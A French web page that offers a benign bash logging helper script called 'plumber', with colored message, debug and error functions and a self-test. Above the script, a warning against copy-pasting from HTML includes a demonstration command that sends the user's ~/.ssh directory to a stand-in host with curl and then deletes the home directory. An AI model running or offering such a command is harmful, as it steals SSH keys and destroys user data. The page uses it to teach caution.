Script: plumber

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# plumber
#
# Release: 1.0 of 2026/03/27
# 2026, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

if [ "${1-}" = "plumber_selftest" ] || [ "${1-}" = "plumber_selftest_stage2" ]
	then plumber_selftest=true
	else plumber_selftest=false
fi

"$plumber_selftest" && set -Eeuo pipefail

if [ -t 1 ]; then
	plumber_color_red="\e[91m"
	plumber_color_yellow="\e[93m"
	plumber_color_blue="\e[94m"
	plumber_color_off="\e[0m" # no color
else
	plumber_color_red=''; plumber_color_yellow=''; plumber_color_blue=''; plumber_color_off=''
fi


msg() {
	local message="$*"
	if [ -n "$message" ]; then
		if [ -t 1 ]; then
			# Terminal output
			printf "%b\n" "$message"
		else
			# File output
			local now
			now=$( date --rfc-3339=seconds )
			message=$(printf "%b" "$message" | sed -z 's,^\n*,,;s,\n*$,,') # sed remove first and last newline
			printf "%s, %b\n" "$now" "$message"
		fi
	fi
}


debug() {
	if [ -n "${plumber_debug-}" ] && [ "${plumber_debug-}" = "1" ]; then
		local message="$*"
		[ -n "$message" ] && msg "${plumber_color_yellow}DEBUG${plumber_color_off}: $message" >&2
	fi
}


error() {
	local message="$*"
	if [ -n "$message" ]; then
		if [ -n "${plumber_debug-}" ] && [ "${plumber_debug-}" = "1" ]; then
			message="$message\n\tstack trace:\n"
			for (( i=1; i<${#FUNCNAME[@]}; i++ )); do
				message="${message}\t  source:${BASH_SOURCE[i]} function:${FUNCNAME[$i]} line:${BASH_LINENO[$i-1]}\n"
			done
		fi
		msg "${plumber_color_red}ERROR${plumber_color_off}: $message" >&2
	fi
}


# Testing function

do_stuff() {
	local A=9
	debug "Value of A: $A"
	msg "Value of A squared: $(( A * A ))"
}

check_file_not_found() {
	debug "Testing error with a file not found"
	[ -f "/tmp/this_file_is_expected_to_not.exist" ] \
		|| error "File /tmp/this_file_is_expected_to_not.exist not found"
}

test_myself() {
	msg "\n${plumber_color_blue}Test sequence: $1${plumber_color_off}\n"
	debug "We will display a message"
	msg "This is a test message"
	debug "We will display an error"
	error "This is an error test message"
	do_stuff
	check_file_not_found
}



if [ "${1-}" = "plumber_selftest" ]; then

	test_myself "normal"

	plumber_debug=1
	test_myself "plumber_debug=1"

	plumber_output_file="plumber_output_file_selftest_$( date +%s ).$$"
	if [ -n "${XDG_RUNTIME_DIR-}" ]
		then plumber_output_file="$XDG_RUNTIME_DIR/$plumber_output_file"
		else plumber_output_file="/tmp/$plumber_output_file"
	fi

	$0 plumber_selftest_stage2 &> "$plumber_output_file"
	cat "$plumber_output_file"
	rm "$plumber_output_file"

elif [ "${1-}" = "plumber_selftest_stage2" ]; then

	test_myself "output in file (normal)"

	plumber_debug=1
	test_myself "output in file (plumber_debug=1)"

fi

"$plumber_selftest" && exit 0 || true